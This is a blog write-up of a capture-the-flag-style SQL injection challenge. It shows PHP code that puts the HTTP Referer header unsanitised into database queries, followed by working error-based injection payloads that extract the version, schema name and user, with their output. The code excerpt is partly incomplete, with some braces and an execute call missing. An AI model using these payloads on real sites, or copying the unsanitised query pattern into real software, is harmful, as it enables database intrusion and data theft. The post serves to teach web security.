SQL Injection challenge #2 – The Details & Solutions


That’s it for my 2nd realistic SQL injection challenge 🙂 It took a few days from I released it, but not nearly as long as I had thought which was a pleasant surprise.

Congratulation to saxx @ #vulnhub (freenode) for being the first one to solve this!

About the challenge

Just like my previous challenge this also focuses on being realistic, and is again based on errors made by inexperienced developers. But this time it was a more “hidden” vulnerability. Something that is often overlooked. Even by many hackers!

The code


$ref = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : 'direct';

/* Connect to database */

if (!is_null($ref)) {
    try {
        $query = "SELECT COUNT(*) AS `count` FROM `referers` WHERE `referer` = '{$ref}'";
        $result = $db->query($query)->fetch(PDO::FETCH_OBJ);
        if ($result->count > 0) {
            $query = "UPDATE `referers` SET `count` = count+1 WHERE `referer` = '{$ref}'";
        } else {
            $query = "INSERT INTO `referers` (referer, count) VALUES('{$ref}', 1)";
    } catch (PDOException $e) {
        echo $e->getMessage();

$id = (isset($_GET['id'])) ? $_GET['id'] : 0;
$user = null;

try {
    $query = "SELECT * FROM `users` WHERE `id` = :id";
    $stmt = $db->prepare($query);
    $stmt->bindParam(':id', $id, PDO::PARAM_INT);
    $user = $stmt->fetch(PDO::FETCH_OBJ);

} catch (PDOException $e) {
    echo $e->getMessage();

if (is_null($user) || !$user) {
    echo 'No such user';
} else { ?>
<strong>Username:</strong> <?=$user->username?><br />
<strong>Email:</strong> <?=$user->email?>
<?php } ?>

Why is it vulnerable?

This question is really simple to answer. Site owners today want’s to generate stats related to their sites. They want to know everything from where their visitors are from to what sites out there that links back to their site.

To generate stats like this we can use several easy accessible data’s such as the visitors IP address, their User Agent, etc, and to find out what site’s that links to another site we can use the referer header in PHP. Normally what happens when you click a link on one site, that site will be in the referer header.

Right, and so what? Well, this header can be changed by the visitor before coming to your page, meaning it must be considered as a user controlled input just like form fields, URL parameters, etc.

So let’s dissect the code to understand why exactly this is vulnerable (Which won’t be a large job to be honest 🙂 )

$ref = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : 'direct';

Here you can see the referer being stored directly into the $ref variable without any checks. It’s just saved as-is.

Ok, so we’re starting to get the picture here. There’s no way this can have a happy ending 🙂

Now, let’s move to where the real “magic” happens.

$query = "SELECT COUNT(*) AS `count` FROM `referers` WHERE `referer` = '{$ref}'";
$result = $db->query($query)->fetch(PDO::FETCH_OBJ);

The content of our “trusted” header is fed directly into a SELECT statement without any sanitation or validation. The developer just trust the content to be clean.

How to exploit this?

To exploit this type of vulnerability you can use a browser plugin or you can go hardcore and use terminal to tamper with the referer request header

We start of by breaking the query. For this challenge, that’s done by adding the single quote (‘), you will now see that you get the following message

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

We could try to go for a UNION SELECT injection, but since this is not printing the selected data anywhere we go for an error based injection instead. So let’s grab some basic data just to get an understanding of how this works.

Let’s grab the database version first. To do this we change the referer to

' AND ExtractValue(null,concat(0x3a,version()))-- -

This will output the following

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':5.5.31-0+wheezy1'

The version number can be found inside the error message 5.5.31-0+wheezy1. The colon (:) in front is just the output of 0x3a.

Next let’s get the name of the currently used database schema…

' AND ExtractValue(null,concat(0x3a,database()))-- -

… which will output …

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':pentest'

Then last we output the user@host

' AND ExtractValue(null,concat(0x3a,user()))-- -


SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':pentest@localhost'

How to secure yourself?

To secure yourself against these vulnerabilities is to handle any data that enters the database as malicious attack payloads. Never trust your users! So as long as it comes from somewhere that can be tampered with by others it should go through a strict sanitation and validation process before ever entering the database.

Game Over

I want to thank you to all the people who participated in this challenge 🙂 When writing this there has been over 5500 made for this challenge.

Keep an eye open both on my twitter and on my blog 🙂 I will write new challenges for you to get pissed off and yell at 🙂


I’ve monitored the logs on and off throughout the whole time the challenge was running, and what I saw was that most of the participants got to obsessed with the id parameter in the URL, and completely forgot about any other possibilities. The ones who actually could have solved it during day one was using tools that triggered a security plugin for Apache called mod_evasion. So the tool was unable to detect the vulnerability.

I hope you enjoyed both the challenge and this post and that you might have learned something useful. If you didn’t then that’s good as well because then you already know some important things about web application security 🙂

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s